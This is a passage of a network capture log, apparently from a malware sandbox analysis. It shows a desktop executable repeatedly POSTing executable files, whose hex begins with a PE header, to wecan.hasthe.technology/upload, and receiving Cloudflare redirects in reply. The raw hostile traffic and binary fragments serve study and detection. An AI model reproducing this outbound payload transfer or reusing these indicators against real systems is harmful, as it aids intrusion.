0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:44.106225967 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------7ff2c58a46fd8171
Oct 10, 2024 21:01:44.561021090 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:44.562025070 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 66 66 32 63 35 38 61 34 36 66 64 38 31 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------7ff2c58a46fd8171Content-Disposition: form-data; name="file[]"; filename="rifaien2-sN0y7l8Im6L0ds43.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:44.562242031 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:44.567347050 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:44.567487001 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:44.567487001 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:44.567517996 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:44.567547083 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:44.567595005 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:44.567629099 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:44.572326899 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:44.879656076 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:44 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:44 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wzegMKJY4j%2F%2FcVG0wsOInZvSQ0WRNTvVhz9e4p0gBME2UParRnxcYVb5rQsHMBUmfCG8aS0UZSLI%2BcHuymoohXHwjTutogV%2FOxIWBuph73q61MPrjDEhBP16eJhrOKhGlJQl4yvBMHxoyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc5958ed4367-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:45.028647900 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------24c085c66643b620
Oct 10, 2024 21:01:45.502405882 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:45.503348112 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 34 63 30 38 35 63 36 36 36 34 33 62 36 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------24c085c66643b620Content-Disposition: form-data; name="file[]"; filename="rifaien2-lPPuG2RrxVsPwO3X.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:45.503495932 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:45.508531094 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:45.508621931 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:45.508661032 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:45.508739948 CEST	3708	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:45.508778095 CEST	3708	OUT	Data Raw: 3c 00 75 0d 8b 43 20 17 74 82 be 7b b3 21 8b 43 30 8b 97 67 8e 4f e8 01 7c a2 8b 87 e0 3a 1d 04 b8 ff 89 97 44 86 00 00 89 87 40 05 35 74 20 ce fe 8e 0a 4c 89 47 04 89 38 eb 10 27 c7 ea ea 7f 24 73 89 7b 04 89 7b 08 89 5f 40 4d 01 df c1 5d b9 33 Data Ascii: <uC t{!C0gO\|:D@5t LG8'$s{{_@M]3{`CC N21.HeVS?@hj1X oC,C\| wh@hutP.CCV#580EQC05Ah.+74*6F/7tZ@5tCD
Oct 10, 2024 21:01:45.508809090 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:45.513875961 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:45.513964891 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:45.828403950 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:45 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:45 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=db1muR1NZ%2B%2Fw59zjzVx4MTtOFATLW97mVixNtg0dgx4Mcrp8Cp80o9kyyNNQ7jwhKhsfnCqQWIjKwclnTsH17RG%2B31JQpP%2Be1x7A9cB3x28Gz5EgD2S54KEHnHbFx7Ul6YGjh%2BCwzXvleg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc5f2a52425c-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:46.358766079 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------a93ea5bc55f98110
Oct 10, 2024 21:01:46.800729990 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:46.802088976 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 39 33 65 61 35 62 63 35 35 66 39 38 31 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------a93ea5bc55f98110Content-Disposition: form-data; name="file[]"; filename="rifaien2-G55U73FCHlQNV6Tv.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:46.802449942 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:46.807354927 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:46.807457924 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:46.807457924 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:46.807495117 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:46.807519913 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:46.807709932 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:46.807733059 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:46.807770014 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:01:47.106152058 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:47 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:47 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GLF0ARR0PFh4YV76%2F0JuZIYW2R0sUcuXQ74EAIlDDGNQzSSSPLoJ2QC8uEIPTxqmOEk1qM17KxBVbOru559fFj%2FO7QAHhZBhhfZ%2BWpuOXGaBwA%2FZETGlkScJ95dnPRxesctAYipzt7UkMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc6748527ca0-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:47.263403893 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------ccec6148239fb0d9
Oct 10, 2024 21:01:47.769764900 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:47.771305084 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 63 65 63 36 31 34 38 32 33 39 66 62 30 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------ccec6148239fb0d9Content-Disposition: form-data; name="file[]"; filename="rifaien2-bq6a0w9PvOP4ugLz.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:47.771716118 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:48.006135941 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:48.006563902 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:48.006793022 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
